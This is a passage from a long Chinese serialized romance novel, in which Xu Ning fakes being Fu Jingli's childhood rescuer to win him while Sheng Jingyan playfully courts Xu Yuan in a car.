她要把这份爱,从“执念”变成“真心”,把那个因谎言而靠近的他,牢牢锁在自己身边。 她垂着眸,指尖无意识地摩挲着傅京礼西装外套上的暗纹,心底掠过一丝隐秘的不甘。 她想,自己其实也很好的,温柔、体贴,甚至为了他愿意放下所有尊严去算计,去争抢。 不过是比不过许愿罢了。 许愿天生就带着一种从容与优雅,出身好、能力出众,像一朵在阳光下肆意绽放的玫瑰,而她许宁,只是温室边缘的一株野蔷薇,只能靠满身的尖刺去争夺阳光,去争夺傅京礼的目光。 可那又怎样? 许愿现在不是已经有了盛景炎吗? 那个比傅京礼更强势、更耀眼的男人,早已将许愿护得滴水不漏,两人的世界里,早已容不下第三个人。 那自己来安慰傅京礼,填补他心底的空缺,不是很好吗? 她跟傅京礼在一起,许愿跟盛景炎在一起,不是最好的结局吗? 在她构想的美梦里,盛景炎会因为找到真爱而开心,傅京礼也会因为“找到”白月光而重拾旧梦,没有人会难过,所有人都会因为这样的结局而幸福。 她甚至觉得,这是上天给她的机会,是她许宁能抓住的唯一希望。 可这份美梦,从一开始就建立在谎言与算计的废墟之上。 许宁内心满满的都是对未来的算计,盘算着如何用“白月光”的身份留住傅京礼,盘算着如何让傅京礼彻底忘记许愿,盘算着如何让自己成为傅家名正言顺的夫人。 此刻,她却好像完全想不起,曾经许愿深爱着的人,就是眼前的傅京礼。 那些过往的甜蜜与纠缠,那些许愿为傅京礼流下的眼泪、付出的真心,在她的世界里,早已被刻意抹去,成了无关紧要的过往。 她只记得自己的执念,只记得自己要得到傅京礼,只记得要守住这个好不容易偷来的“身份”。 许宁知道真相。 知道那个真正的白月光是许愿,知道那串手链是傅京礼送给许愿的信物,知道手腕上的疤痕是她用手术刀刻下的谎言。 可她从不会让许愿知道真相,因为在她心里,傅京礼早就是她的囊中之物,是她用谎言与算计换来的“战利品”。她不会允许任何人,尤其是许愿,来打破这份“美好”,来抢走属于她的傅京礼。 所以直到现在,许宁还在给自己找借口,用“皆大欢喜”的幻梦来麻痹自己。 她固执地认为,只要结局是好的,过程中的谎言与伤害,都可以被原谅,都可以被忽略。 她像一个虔诚的信徒,跪拜在自己编织的谎言神坛前,祈求着这份虚假的幸福能永恒。 可她从未考虑过,傅京礼要的从来不是一个“虚假”的白月光。傅京礼心底的执念,从来都不是一个空洞的符号,不是一个可以被随意替换的“身份”。 他要的是那个真正的、鲜活的、在雨夜里救了他的女孩,要的是那份未经谎言污染的纯粹情感。 他要的是那个带着疤痕、带着记忆,能与他共同回忆过往的人,而不是一个为了留住他,用手术刀刻下疤痕、用谎言编织过往的“替代品”。 这份执念,是傅京礼心底最柔软也最坚硬的部分,容不得半分虚假,更容不得欺骗。 许宁还在傅京礼怀中,感受着他紧实的臂弯,感受着他因激动而加速的心跳,心底的恐慌早已被扭曲的快意取代。 她故意装出一副完全不知道傅京礼为什么这么激动的表情,眼底带着恰到好处的茫然与不解,像一只受惊的小兽,轻轻唤道:“阿礼哥哥,你怎么了?” 她的声音软软的,带着几分委屈,像是被他的激动吓到,又像是在疑惑他为何突然如此失态。 她微微仰着头,眼神直直地看向傅京礼的眼睛,眼底满是“无辜”与“不解”,那双眼睛,此刻正盛着满满的“期待”,期待着他能说出那句她渴望已久的话,期待着他能彻底相信她就是那个白月光。 她甚至故意收紧了环在他腰间的手,指尖隔着薄薄的西装布料,能清晰地感受到他身体的温度。 她将脸颊轻轻贴在他的胸口,像是在寻求安慰,又像是在加深这份“亲密”的错觉。 她的心跳得很快,却不是因为感动,而是因为兴奋。 因为谎言生效的兴奋,因为即将“留住”傅京礼的兴奋。 她甚至在心底暗暗发誓,只要傅京礼相信了她,只要他彻底爱上她,她就会收起所有的算计,好好待他,让他成为这个世界上最幸福的人。 可这份“亲密”,此刻却像一场荒诞的闹剧。 许宁靠在他怀里,用谎言编织的温暖,而傅京礼抱着她,感受着那份失而复得的激动,心底却藏着一丝连自己都未曾察觉的不安。 那份不安,是对真相的预感,是对这份“重逢”的怀疑。 他看着她眼底的“茫然”,看着她手腕上那道“熟悉”的疤痕,心底的狂热渐渐被一层淡淡的疑云笼罩。 她真的会是那个女孩吗?那个在雨夜里满身是血却依旧笑着的女孩,会是眼前这个满心算计的女人吗? 第1436章 要守住这个“身份” 走廊尽头的脚步声越来越近,许愿和盛景炎的身影越来越清晰。 许宁的身体猛地一僵,心底的恐慌像潮水般涌来,可她依旧紧紧抱着傅京礼,像是要抓住最后一根救命稻草,眼底满是慌乱与不安。 她看着傅京礼,眼底满是乞求,像是在祈求他不要放手,不要让真相打破这份虚假的美好。 傅京礼也听到了声音,抱着许宁的手顿了顿,抬头看向走廊尽头。 许愿的眼神落在地毯上的手链上,带着一丝不易察觉的复杂,而盛景炎的眼底,则带着淡淡的审视与嘲讽。 傅京礼的心底,那份不安愈发强烈,他看着怀里紧紧抱着自己的许宁,看着她手腕上的疤痕,心底的疑惑渐渐升起。 许宁,真的会是那个白月光吗?还是说,这一切,只是一场精心设计的骗局? 许宁靠在他的怀里,感受着他身体的僵硬,心底的恐慌愈发浓烈。 她知道自己不能再沉默,于是又轻轻唤了一声:“阿礼哥哥,你怎么了?是不是哪里不舒服?” 她的声音带着几分颤抖,像是在担心,又像是在转移他的注意力,想让他继续停留在“重逢”的激动里,不要去关注许愿的到来,不要去怀疑这份虚假的真相。 许愿只是忘记拿包,盛景炎自然是要陪着回来的。 夜风从走廊尽头吹来,带着几分凉意,却吹不散空气中那股凝滞的氛围。 两人刚走到包厢门口,便撞见了抱在一起的傅京礼与许宁。 傅京礼的手紧紧揽着许宁的腰,许宁的头埋在他的胸口,两人的姿势亲密得刺眼,像是要把所有的委屈与依赖都揉进这份拥抱里。 许愿挑了下眉,姿态随意地靠在门口的墙边,指尖轻轻敲击着墙面,发出细微的声响。 她眼底带着几分玩味与探究,心底满是疑惑。 许宁到底是怎么做到的?不过是片刻的功夫,傅京礼竟从方才的冷硬质问,变成了此刻的温柔相拥。难道傅京礼真的喜欢许宁喜欢到了这种地步,竟能容忍她所有的算计与谎言,甚至在盛景炎的羞辱之后,依旧愿意与她如此亲密? 这个念头一冒出来,许愿就觉得有些可笑。 当初那个在圈子里出了名的冷漠疏离的男人,面对许宁时,竟一次次地打破自己的底线,步步退让,像被什么无形的东西牵着线,失去了往日的清醒。 盛景炎站在她身旁,嘴角噙着一抹似笑非笑的弧度,握着许愿的手把玩着,指尖轻轻摩挲着她指腹的纹路。 他看着眼前的一幕,语气轻佻地说:“两位,百年好合啊。”这句话看似是祝福,却裹着一层淡淡的嘲讽。 他眼底满是看乐子的神色,仿佛这场闹剧是一出精彩的戏,而他和许愿,只是恰好来欣赏的观众。 傅京礼听到声音,猛地抬眸,目光重新落到许愿与盛景炎身上。 眼底的慌乱像水波般荡开,他似乎并不愿意让许愿看到他与许宁如此亲密的场景,像是藏在心底的秘密被人撞破,带着几分无措与尴尬。 他下意识地松了松揽着许宁的手,却又在对上许宁此刻楚楚可怜的目光时,心底猛地一软。 那双眼睛,像极了当年雨夜里那个满身是血却依旧笑着的女孩,带着几分脆弱与依赖,让他无法狠下心推开。 于是,他揽着许宁的手又紧了几分,像是在给自己找一个坚持的借口,也像是在用这份亲密,宣告着自己的“选择”。 许愿只是垂眸,唇角轻轻弯了弯,笑容里带着几分清冷与疏离。 她看着傅京礼眼底的慌乱与挣扎,看着许宁刻意营造的柔弱,心底并无太多波澜,只是觉得有些讽刺。 她开口,声音淡淡的,像秋日的风:“不必在意我,我只是有东西忘记拿了,你们随意。”语气里满是客套与疏离,仿佛眼前的一切与她毫无关系,只是无关紧要的插曲。 说罢,她转身去拿放在桌上的包,动作从容不迫,没有半分慌乱。 可就在走到门口,即将离开的时候,许愿忽然停下脚步,回头看向傅京礼。 她的目光落在傅京礼的脸上,眼底带着几分探究与复杂,声音轻轻的,却像一颗石子投进平静的湖面,泛起层层涟漪:“这就是你喜欢的类型吗?” 她看着傅京礼,看着他眼底的慌乱与挣扎。 傅京礼的身体猛地一僵,眼底的慌乱瞬间被震惊与尴尬取代。 他看着许愿那双清冷的眼眸,看着她脸上淡然的表情,心底的不安愈发强烈。 他想解释,想说这不是他所想的,可话到嘴边,却一个字也说不出来。 他该怎么解释? 许宁也猛地抬头,眼底满是慌乱与不安。 她紧紧抓着傅京礼的衣角,像是在寻求依靠,又像是在害怕许愿的话会戳破谎言。 她看着许愿,眼底带着几分怨恨与不甘。 她好不容易用谎言编织的“美好”,怎么能让许愿一句话就打破? 盛景炎站在一旁,眼底的嘲讽愈发明显。他看着傅京礼的窘迫,看着许宁的慌乱,嘴角的弧度愈发深。 他握着许愿的手紧了紧,像是在给她无声的支持,又像是在等待这场闹剧的最终结局。 许愿没有等傅京礼的回答,只是轻轻勾了勾唇角,转身离开。 她的背影挺拔而从容,没有半分留恋。走廊里的灯光落在她的身上,将她的影子拉得很长,像一道无声的屏障,隔开了她与身后那场荒诞的重逢。 傅京礼望着许愿离开的方向,心底的不安愈发强烈。他看着怀中紧紧抓着自己的许宁,看着她手腕上那道“熟悉”的疤痕,心底的疑惑像藤蔓一样疯狂蔓延。 许愿的那句话,像一颗种子,种在了他的心底,开始生根发芽。 许宁,真的会是那个白月光吗? 还是说,他从一开始,就被谎言蒙蔽了双眼? 许宁感受着他身体的僵硬,心底的恐慌愈发浓烈。 她看着许愿离开的背影,眼底满是怨恨。 她知道,许愿的出现,会让一切变得复杂,会让傅京礼开始怀疑,会让她的谎言濒临崩塌。 可她依旧紧紧抓着傅京礼,像是在抓住最后一根救命稻草,心底满是不甘与愤怒。 她不会让许愿破坏这一切,不会让谎言被戳破,她要守住这个“身份”,守住傅京礼。 第1437章 离成功又近了一步 许宁很聪明,她深谙男人骨子里对温柔示弱的偏爱,更懂得如何用恰到好处的脆弱,将男人的怜惜与心动牢牢攥在掌心。 此刻她依偎在傅京礼怀中,刻意放软了姿态,眉眼间的锋芒尽数敛去,只余下一片温温柔柔的模样,像春日里沾着晨露的菟丝花,看似脆弱,却有着缠绕大树的执念。 她要让傅京礼清楚地知道,她才是那个命中注定的白月光,是能与他共忆过往、共赴未来的唯一人选。 她微微仰着头,眼底含着几分恰到好处的水光,像雨夜中迷路的小鹿,带着几分茫然与依赖。 她指尖轻轻触碰傅京礼的衣襟,声音软得能滴出水来:“阿礼哥哥,我是不是哪里做得不好,让你为难了?”这句话轻飘飘的,却藏着精心设计的陷阱。 既是示弱,又是试探,既在博取傅京礼的怜惜,又在不动声色地将自己与许愿的“强势”划清界限,让傅京礼在对比中,愈发坚定对她的偏爱。 她知道,傅京礼此刻心底或许还藏着一丝对许愿那句“这就是你喜欢的类型吗”的疑虑,但那又如何? 许愿终究没说出更多实情,傅京礼又能知道什么呢? 那条手链、手腕上的疤痕,每一样都是她精心伪造的证据,像两道坚固的防线,将“真相”牢牢封锁在外。 傅京礼就算心底存着怀疑,也找不到反驳的依据,更不会轻易说出口。 名流圈子里的人最重体面,尤其傅京礼,骨子里带着世家的矜贵,绝不会在没有确凿证据的情况下,去质疑一个“救过自己”的女孩。 许宁眼底闪过一丝笃定的光芒,她看着傅京礼眼底的动摇与挣扎,心底的算计愈发清晰。 她觉得自己有信心,能在接下来的日子里,让傅京礼彻底爱上自己。 这份“爱”,或许始于谎言与执念,但只要她用心经营,终会变成傅京礼心底无法割舍的真实。 她甚至已经想好了更进一步的计划。 再不济,她可以奉献自己的身体。她轻轻咬了咬下唇,眼底掠过一丝隐秘的决绝,像赌徒下注般,将自己视为最后的筹码。 在许宁的认知里,男人不过是可笑又脆弱的生物,纵使傅京礼是傅家的天之骄子,是上流圈子里人人敬畏的名流,可他终究是个男人,逃不过生理与情感的双重羁绊。 她深知,男人常常控制不住身体的本能,会因为缠绵时的欢愉,逐渐滋生出名为“爱”的情绪。 只要她能让傅京礼习惯她的身体,习惯与她肌肤相亲时的温度,习惯她在他怀里的喘息与呢喃,他就一定会离不开自己。这份依赖,会像藤蔓一样,缠绕住傅京礼的心,让他再也无法挣脱。 更何况,傅家有着严格的家规,如非必要犯下原则性错误,否则绝不允许傅家男性主动提出离婚。 什么才算原则性错误? 出轨、违法犯罪,这些许宁自认自己绝不会去触碰。 她太清楚自己的底线,也太清楚傅家的规矩。 她要做的是傅家的少奶奶,是站在傅京礼身边、共享荣光的女人,而非因犯错被扫地出门的弃子。 只要她不犯这些大错,只要她顺利嫁给傅京礼,傅京礼这辈子就没办法离开自己。这份“绑定”,是她为自己铺好的后路,是她用尽心机换来的“保障”。 这么短的时间内,许宁已经想好了未来如何利用傅京礼。 婚后,她会以傅家少奶奶的身份,打理傅家的慈善基金会,让自己在圈子里站稳脚跟,成为人人称道的“贤内助”,她会利用傅京礼的人脉,暗中扶持自己家族的生意,让许家从二流家族一跃成为上流圈子里的新贵,她会为傅京礼生儿育女,用孩子作为最坚固的纽带,将两人的关系牢牢绑定,她甚至会刻意营造“夫妻恩爱”的假象,让傅家上下都认可她,让傅京礼的亲朋好友都对她赞不绝口,让傅京礼彻底失去离开她的勇气与借口。 她看着傅京礼,眼底的温柔里藏着几分不易察觉的野心,像藏在花瓣下的刺,看似无害,却带着致命的锋芒。 她想,只要能留在傅京礼身边,只要能成为傅家的人,她所受过的所有委屈、做过的一切算计,都值得。 她会用尽所有手段,让傅京礼离不开自己,让所有人都知道,她许宁,不是那个卑微的私生女,而是傅家的女主人,是能与傅京礼并肩而立的女人。 可这份算计里,唯独没有“真心”二字。 许宁心里清楚,她对傅京礼的“爱”,从来都是掺杂着野心与执念的混合物,是她改变命运的唯一途径。 她甚至已经想好,若有一天傅京礼真的发现了真相,她该如何应对。 她会哭着解释,说自己只是太爱他,太害怕失去他,才会用这样的方式留住他,她会拿出自己为傅家、为孩子做的所有努力,让傅京礼看在这些付出的份上,原谅她这一次的“谎言”。 她笃定,傅京礼会心软,会因为过往的“情分”与现实的“利益”,选择包容她。 傅京礼感受着怀中许宁的温柔与依赖,看着她眼底的水光,心底的怀疑渐渐被这份“亲密”冲淡。 他看着她手腕上那道“熟悉”的疤痕,看着她眼底的期盼,心底的执念与怜惜交织在一起,让他愈发难以自拔。 许宁看着傅京礼眼底渐渐浮现的温柔,心底的底气愈发足了。 她轻轻靠在他的胸口,像一只餍足的猫,眼底满是算计得逞的得意。 她知道,她离成功,又近了一步。 走廊里的灯光依旧柔和,却照不亮许宁心底那片阴暗的算计。 她用温柔做武器,用身体做筹码,用傅家的家规做盾牌,一步步朝着傅京礼靠近,也一步步朝着自己想要的“未来”迈进。 可她不知道,谎言编织的城堡,终究会在真相的阳光下崩塌,而她所有的算计,不过是将自己推向更深的深渊。 第1438章 她是那个白月光 许宁看着傅京礼,唇瓣轻轻嗫喏着,声音像被揉碎的月光,带着几分刻意营造的柔软与好奇:“阿礼哥哥,你为什么这么激动呢?是想到了什么吗?” 她没有主动提及十年前那场改变傅京礼命运的绑架案,反而将话题抛了回去,像一个耐心的猎手,等着傅京礼主动提起那段过往。 只有傅京礼先开口,她伪造的“白月光”身份才会更显真实,更能让傅京礼放下心底最后一丝怀疑。 说这话时,她故意抬起那只带有伤疤的手,指尖轻轻拂过傅京礼的侧脸。 动作很轻很轻,像春日里柳絮的飘落,带着一种若有若无的勾引意味儿,却又被她演绎得恰到好处,既不显得轻浮,又能精准撩拨傅京礼心底最柔软的那根弦。 指尖划过他温热的皮肤,她能清晰感受到他肌肤的纹理,甚至能察觉到他因自己触碰而微微紧绷的下颌线,这让她心底的算计愈发清晰。 她要让傅京礼记住这份触感,记住这份“亲密”,记住她才是那个能给他慰藉的人。 傅京礼下意识地握住她的手,掌心的温度透过薄薄的皮肤传递过来,烫得许宁指尖微颤,却也让她的表演更加投入。 他的目光落在她手腕上那道精心伪造的疤痕上,眼神愈发深邃,像是在凝视一件失而复得的珍宝,带着一种近乎虔诚的专注。那道疤痕的走向、深浅,都与他记忆里那个雨夜里的伤口惊人地相似,这份“相似”像一根锚,牢牢地拴住了他心底的执念。 他缓了片刻,喉结轻轻滚动,声音带着几分不易察觉的沙哑,像是压抑了太久的情绪终于找到了出口:“你还记得十年前,你救过一个和你年龄相当的少年吗?” 许宁此刻像是真的被这个问题惊到了,眼底闪过一丝恰到好处的慌乱,仿佛完全不清楚傅京礼为什么会突然提起这段尘封的往事。 她微微睁大眼睛,睫毛轻轻颤动,像受惊的蝶翼,声音也带着几分刻意的茫然:“阿礼哥哥,你在说什么呀?那都是很久很久以前的事情了,你怎么突然提起这个?” 她装出一副无辜又困惑的模样,仿佛自己真的只是一个被意外卷入这场对话的旁观者,对傅京礼的追问毫无准备,这份“不知情”的姿态,反而让她的伪装更加无懈可击。 真正的白月光,或许也会因为时间久远而对当年的细节有些模糊,这份“模糊”恰恰成了她最好的掩护。 傅京礼的眸光深了几分,心底的怀疑因她的反应而渐渐消散。 他看着她眼底的茫然,看着她手腕上那道“熟悉”的疤痕,终于按捺不住心底的激动,声音带着一种颤抖的笃定:“果然是你吗?” 这句话问得轻,却重如千斤,是他十年来寻寻觅觅的终点,是他心底执念的具象化。 许宁愣神,眼底满是“呆滞”,像是完全没反应过来傅京礼的意思,甚至带着几分怯生生的疑惑:“阿礼哥哥,你在说什么呀?我听不懂……怎么会是我呢?” 她将“无辜”演绎到了极致,眼底的迷茫与困惑仿佛是真的,让傅京礼再也无法将她与那个满心算计的许宁联系起来。 此刻的她,只是一个被突然告知“重逢”的女孩,带着一种不知所措的纯真。 傅京礼看着她眼底的“茫然”,心底的执念与感动愈发浓烈。 他看着她,像是看着十年前那个雨夜里满身是血却依旧笑着的女孩,声音带着一种压抑不住的激动:“许宁,我就是当年那个被你救走的男孩。” 话落,他再也忍不住,猛地将许宁紧紧抱住,手臂收得极紧,仿佛要将她揉进自己的身体里,再也不分开。 这份拥抱里,藏着对白月光的执念,也藏着此刻失而复得的狂喜。 他终于找到了,终于找到了那个改变了他一生的女孩。 许宁在他怀里,能清晰地感受到傅京礼拥抱的温度,那股热度透过薄薄的衣料,熨帖着她的肌肤,也熨帖着她心底最深处的野心。 她能清晰地听到他急促的心跳,一下又一下,与自己的心跳交织在一起,这份“亲密”,这份“被需要”,让她更加无法放弃此刻唾手可得的“爱情”与“权势”。 只要她牢牢抓住傅京礼,只要她成为傅家的少奶奶,她就能摆脱私生女的卑微身份,就能让那些曾经轻视她的人仰望她,就能让自己的家族在她的扶持下腾飞。 她缓缓抬起手,回抱住傅京礼,指尖轻轻触碰着他后背的衣料,声音带着点淡淡的哑意,像是被这份激动与感动感染,又像是带着几分难以置信的喜悦:“阿礼哥哥,真的是你吗?原来我们的缘分,早在十年前就开始了吗?” 她刻意将“缘分”二字说得极轻,却又极重,像一根丝线,将两人的心紧紧缠绕在一起。 她的脸贴在他的胸口,眼底的算计被完美的演技掩盖,只剩下一片温顺与依赖。 此刻的她,只是一个与心爱之人重逢的女子,带着满心的喜悦与难以置信。 傅京礼听着她的话,心底的狂喜愈发浓烈。 他抱着她,像是抱着整个世界,声音带着一种前所未有的温柔与珍视:“是的,是缘分。许宁,我找了你十年,终于找到你了。”他将脸埋在她的发间,嗅着她发丝间淡淡的香气,心底的执念与爱意交织在一起,让他愈发无法自拔。 此刻的他,早已忘了许宁曾经的算计,忘了许愿的质问,只记得眼前这个“白月光”,只记得这份失而复得的感动。 许宁感受着他怀里的温度,感受着他抱着自己的力道,心底的算计愈发清晰。 她知道,此刻的傅京礼,已经彻底相信了她是那个白月光。 只要她能守住这份“信任”,只要她能用这份“重逢”牢牢抓住他,她就能实现自己所有的野心。 她甚至已经开始盘算,接下来该如何用“温柔”巩固这份关系,该如何用“依赖”让傅京礼离不开她,该如何在傅家站稳脚跟,让所有人都认可她这个“白月光少奶奶”。 第1439章 间接接吻 她轻轻蹭了蹭他的胸口:“阿礼哥哥,我也没想到,当年随手的举动,竟然会换来这样一份缘分。” 她刻意将“随手”二字说得轻描淡写,像是在淡化自己的付出,却又暗中凸显这份缘分的珍贵。 这份“珍贵”,才是能留住傅京礼的关键。 傅京礼抱着她,想起十年前那个雨夜,想起那个满身是血却依旧笑着的女孩,想起自己十年来的寻找,想起此刻怀中温顺的许宁,心底满是感慨。 他终于找到了,终于找到了那个能与他共度余生的人。 许宁听着傅京礼的心跳,感受着他怀抱里的温度,心底的算计与野心愈发坚定。 她知道,此刻的她,已经成功地在傅京礼心里种下了“白月光”的种子,只要她用心浇灌,这份“爱”就会生根发芽,再也无法拔除。 她甚至已经开始期待,当她穿上傅家少奶奶婚纱的那一天,当她站在傅京礼身边,接受所有人祝福的那一刻。 那将是她人生的巅峰,是她用十年的算计换来的最好回报。 灯光柔和地洒在两人身上,将他们的身影紧紧缠绕在一起,像一幅缠绵的画卷。 可这幅画卷里,藏着太多的谎言与算计,藏着许宁对未来的野心,也藏着傅京礼对过往的执念。 一场错位的重逢,因谎言而生,也因执念而愈发浓烈,却不知何时,会被真相的阳光刺破,露出底下满是裂痕的真相。 …… 车门轻阖的“咔嗒”声彻底隔绝了外界的声音,车厢内只余下车窗外流动的霓虹光影,将暖黄的光斑揉碎在两人之间,织就一片私密而暧昧的氛围。 盛景炎指尖捏着牛奶杯的杯壁,指腹轻轻摩挲着杯身,确认温度恰到好处后,才将杯子递到许愿手边,嗓音低沉又带着几分刻意放软的温柔:“现在喝刚好,不会太烫。” 许愿抬眸看他,眼尾弯着浅浅的弧度,像盛着细碎的星光,指尖故意碰了碰杯壁,带着几分狡黠的试探:“你怎么知道不会烫?你尝过了?” 盛景炎挑眉,眼底的狡黠藏都藏不住,身体微微前倾,拉近两人的距离,鼻尖几乎要擦过她的耳廓,低语裹着温热的气息漫进她耳蜗:“如果你不介意我先尝一口的话,我可以先喝一口,不过这样你就只能喝我喝过的牛奶了,” 他故意顿了顿,尾音拖得又轻又慢,带着暧昧,“这样算不算是间接接吻呢?”那句“间接接吻”被他咬得极重,像羽毛轻轻挠在心尖,又带着不容忽视的挑逗,目光牢牢锁住许愿的眼眸,像是在等待她脸颊泛红的反应,或是那句带着羞恼的嗔怪。 许愿咬了下吸管,发出“咯吱”一声轻响,眼底满是无奈与藏不住的笑意,偏不顺着他的话往下接,只轻哼一声:“盛景炎,你又开始胡说八道了。”她故意将吸管咬得更紧,像是在掩饰心底突然加速的心跳,那份佯装的镇定里,透着难以掩饰的悸动。 盛景炎却叹了口气,肩膀垮下来,做出一副可怜巴巴的模样,侧身靠在座椅上,目光依旧黏在她脸上,带着几分委屈的控诉:“我真是可怜,全城告白要被你吐槽老土,追求你还要被你拒绝,” 他故意停顿,目光扫过她方才望向傅京礼与许宁时的神情,语气里满是醋意,“倒是你,见到傅京礼就那么在意,看到他跟许宁亲近,你在不开心了对吗?”那句“不开心”,带着一种近乎直白的占有欲,仿佛在质问,又像是在求证,那份在意与醋意,毫不掩饰地从眼底漫出来,藤蔓缠绕着两人。 许愿此刻有些无语,抬手想要白他一眼,指尖却在他胸前轻轻点了点,眼底的笑意却藏不住,只好轻声道:“又在胡说什么呢?我不开心什么?”她刻意将“不开心”三个字说得漫不经心,像是在否认,却又透着几分难以忽视的柔软,那份轻描淡写,反而让盛景炎心底的醋意愈发浓烈。 盛景炎抱着肩,身体靠在座椅上,倒也不着急发动车子,就这么侧头看着她,目光专注,炽热得能将她整个人都装进眼底:“真的没有不开心?那你刚才为什么那么盯着傅京礼和许宁?”他的追问带着一种不容逃避的认真,满是对她的在意。 他要她亲口说出心底的想法,要她的目光只停留在他身上。 许愿咬着吸管不说话,指尖捏着杯壁,余光却悄悄放到盛景炎身上,眼底带着几分俏皮与试探,像是在故意逗他,那份沉默与狡黠,反而让盛景炎愈发觉得她可爱,那份无赖的劲儿又冒了出来,非要逼着她回应。 “你是在默认吗?”盛景炎再次追问,声音压得更低,带着几分蛊惑的磁性,像是在引导她说出心底最真实的想法,那份霸道与占有欲,毫不掩饰地流露出来。 许愿却突然笑了,像是故意要惹他生气,将吸管咬得更紧,唇角勾起一抹挑衅的弧度,语气带着几分戏谑与故意的挑衅:“对哦,我就是在意傅京礼,因为他跟许宁的关系所以在生气、在难过、在不开心呢,” 她故意拉长了语调,看着盛景炎眼底的醋意一点点漫上来,“你听到我这种回答满意了吗?喜欢吗?你开心了吗?” 这话说得,纯纯的像是故意怼盛景炎了,摆明了想惹他生气,那份故意的挑衅,让盛景炎眼底的醋意几乎要溢出来,却又透着几分对她的纵容。 他知道,她这是在逗他,可他就是拿她没办法。 盛景炎心里也清楚许愿是故意说的这种话,知道她就是那种不吃硬的性子,偏爱用这种方式与他互动,此刻心底的醋意与无奈交织在一起,让他有些扛不住。 他无奈地叹了口气,身体却不由自主地凑过去,许愿下意识地伸手推他,指尖抵在他结实的胸膛上,却没用力,他便厚着脸皮继续凑过去。 第1440章 你把我关起来好了 盛景炎直接将人紧紧抱进怀里,手臂收得极紧,像是要将她揉进自己的身体里,再也不分开,那份占有欲在动作里展现得淋漓尽致。 “你再这样牛奶就要泼到你身上了。”许愿被他紧紧抱着,手中的牛奶杯晃了晃,奶液溅出几滴在杯沿,她故意用牛奶杯作为“威胁”,语气里却满是笑意,那份嗔怪里透着几分甜蜜。 “你舍得那就随便泼,我不放开。”盛景炎霸道地回应,下巴轻轻抵在她的发顶,呼吸间全是她发丝间的清香。 是淡淡的栀子花香,混着她身上独有的气息,那份清香像藤蔓一样缠绕着他的心,让他愈发贪恋这份亲密,那份占有欲愈发强烈。 他就是要让她知道,无论她如何挑衅,他都不会放手。 许愿被他这副无赖的样子气笑了,指尖轻轻捶了捶他的后背:“盛景炎你是不是赖皮狗啊。” “汪。”盛景炎不要脸地叫了一声。 “嗯,就是癞皮狗。”许愿顺着他的调侃说下去,眼底的笑意愈发浓烈,带着几分戏谑,指尖轻轻勾了勾他的衣领。 他故意撒娇一样在她肩膀蹭了蹭,贴了贴,脸颊蹭过她颈侧的肌肤,带着几分滚烫的温度,声音带着几分低沉的温柔,连着喊了三声:“阿愿、阿愿、阿愿,” 每一个“阿愿”都带着不同的情感,第一个是宠溺,像在哄着心爱的宝贝,第二个是占有,像是在宣告主权,第三个是深深的眷恋,像是要将她的名字刻进心底,“我就是无赖,我就是癞皮狗,我就是不要放开你。” 他的声音在她耳边轻轻回荡,带着一种让人沉沦的温柔,也带着一种不容置疑的坚定,那份执着与爱意,像暖流一样漫过许愿的心底,让她忍不住将脸颊轻轻贴在他的胸膛上,听着里面沉稳有力的心跳声。 盛景炎收紧了手臂,将她抱得更紧,认真地看着她的眼睛,眼底满是真诚与毫不掩饰的在意,那份在意像火焰一样燃烧,炽热得能将她融化:“你明知道我的心思,我就是会生气,我不喜欢你的目光落到傅京礼的身上,我真的很在意,特别在意,” 他顿了顿,指尖轻轻拂过她的脸颊,带着滚烫的温度,“我真的希望你只能看到我,只看着我,只想着我。” 许愿看着他眼底的认真,心底一暖,嘴角轻轻上扬,带着几分狡黠的反问:“那如果我也希望你只能看到我呢?” 盛景炎眼底闪过一丝狡黠,嘴角勾起一抹张扬又带着几分戏谑的笑容,语气里满是认真与配合的戏谑:“那也不是不行,你把我关起来好了。” 他故意停顿,看着她眼底的笑意,继续道,“或者我出门就眼睛上蒙上一条布也可以,牵着一条导盲犬也不错,挺拉风的。”他甚至故意做出一副“认真考虑”的模样,眼底满是戏谑,那份无赖的模样,让许愿忍不住笑出声来。 许愿:“?” 许愿看着他这副“不要脸”的模样,几乎满头都是问号了。 她顿了顿,加重了语气,带着几分无奈,“有毛病吗盛景炎!” 盛景炎却笑着将她抱得更紧,下巴抵在她的发顶,声音带着几分低沉的温柔,又带着不容置疑的坚定:“有,有病,只对你有病,而且病入膏肓,这辈子都好不了了。” 他会一直这样,只对她撒娇,只对她无赖,只对她在意,只对她疯狂。 晚宴的余温还残留在空气里,车窗外的霓虹光影透过车窗,在车内铺开一片流动的光斑,将许愿与盛景炎的身影笼罩其中。 方才的调侃与撒娇,此刻都化作了更深的亲密与难以言说的情绪,像藤蔓般缠绕在两人之间,越收越紧。 许愿看着盛景炎那副“理直气壮”的模样,指尖轻轻抵在他胸膛上,无奈地叹了口气,眼底满是笑意:“你倒是一点都不觉得自己的话说得有什么错,还恋爱脑?你这分明是无赖又霸道。” 她故意加重“无赖”二字,指尖微微用力,像是在抗议他的厚脸皮,可指尖下的温度,却透着几分难以忽视的柔软。 盛景炎却不以为意,反而将她抱得更紧了些,下巴抵在她的发顶,眼底的笑意渐渐沉淀,化作一片深邃的温柔,又带着一丝不易察觉的执拗。 他缓了好一会儿,才终于开口,声音低沉又认真,像是在诉说一件再重要不过的事:“阿愿,我早就说过我有病了,恋爱脑啊。” 那句“恋爱脑”,从他口中说出来,没有半分自嘲,反而带着一种近乎虔诚的坦诚,仿佛在告诉她,他对她的在意,早已超出了理性的范畴,变成了一种本能,一种无法控制的偏执。 许愿都要气笑了,指尖轻轻戳了戳他的胸膛,佯装恼怒地瞪了他一眼,语气里却满是纵容:“你再胡说八道试试看呢,盛景炎。” 那声“试试看”,带着几分威胁的意味,却更像是情人间的打情骂俏,透着难以忽视的亲昵。 可盛景炎依旧抱着她,根本没有放开的意思,身体的温度透过薄薄的衣料传递过来,带着让人安心的暖意。 他眼底的笑意未褪,却添了几分认真,目光紧紧锁住她,像是要将她的每一丝情绪都刻进眼底:“我没有胡说八道,我就是恋爱脑,看到你就会控制不住。” 他的声音里带着一种近乎卑微的坦诚,又透着一种不容置疑的坚定。 他无法控制自己对她的在意,无法控制自己想要靠近她、拥抱她、占有她的冲动,这份“恋爱脑”,是他心底最真实的执念。 就在两人亲密相拥的氛围里,盛景炎却突然话锋一转,声音里带着一丝不易察觉的醋意,刺破了这份甜蜜的氛围:“你看着傅京礼的眼神真的还是带着喜欢的是吗?” 那句“喜欢”,被他咬得极重,带着一种近乎小心翼翼的试探,又藏着深深的不安。 第1441章 你还在喜欢傅京礼吗 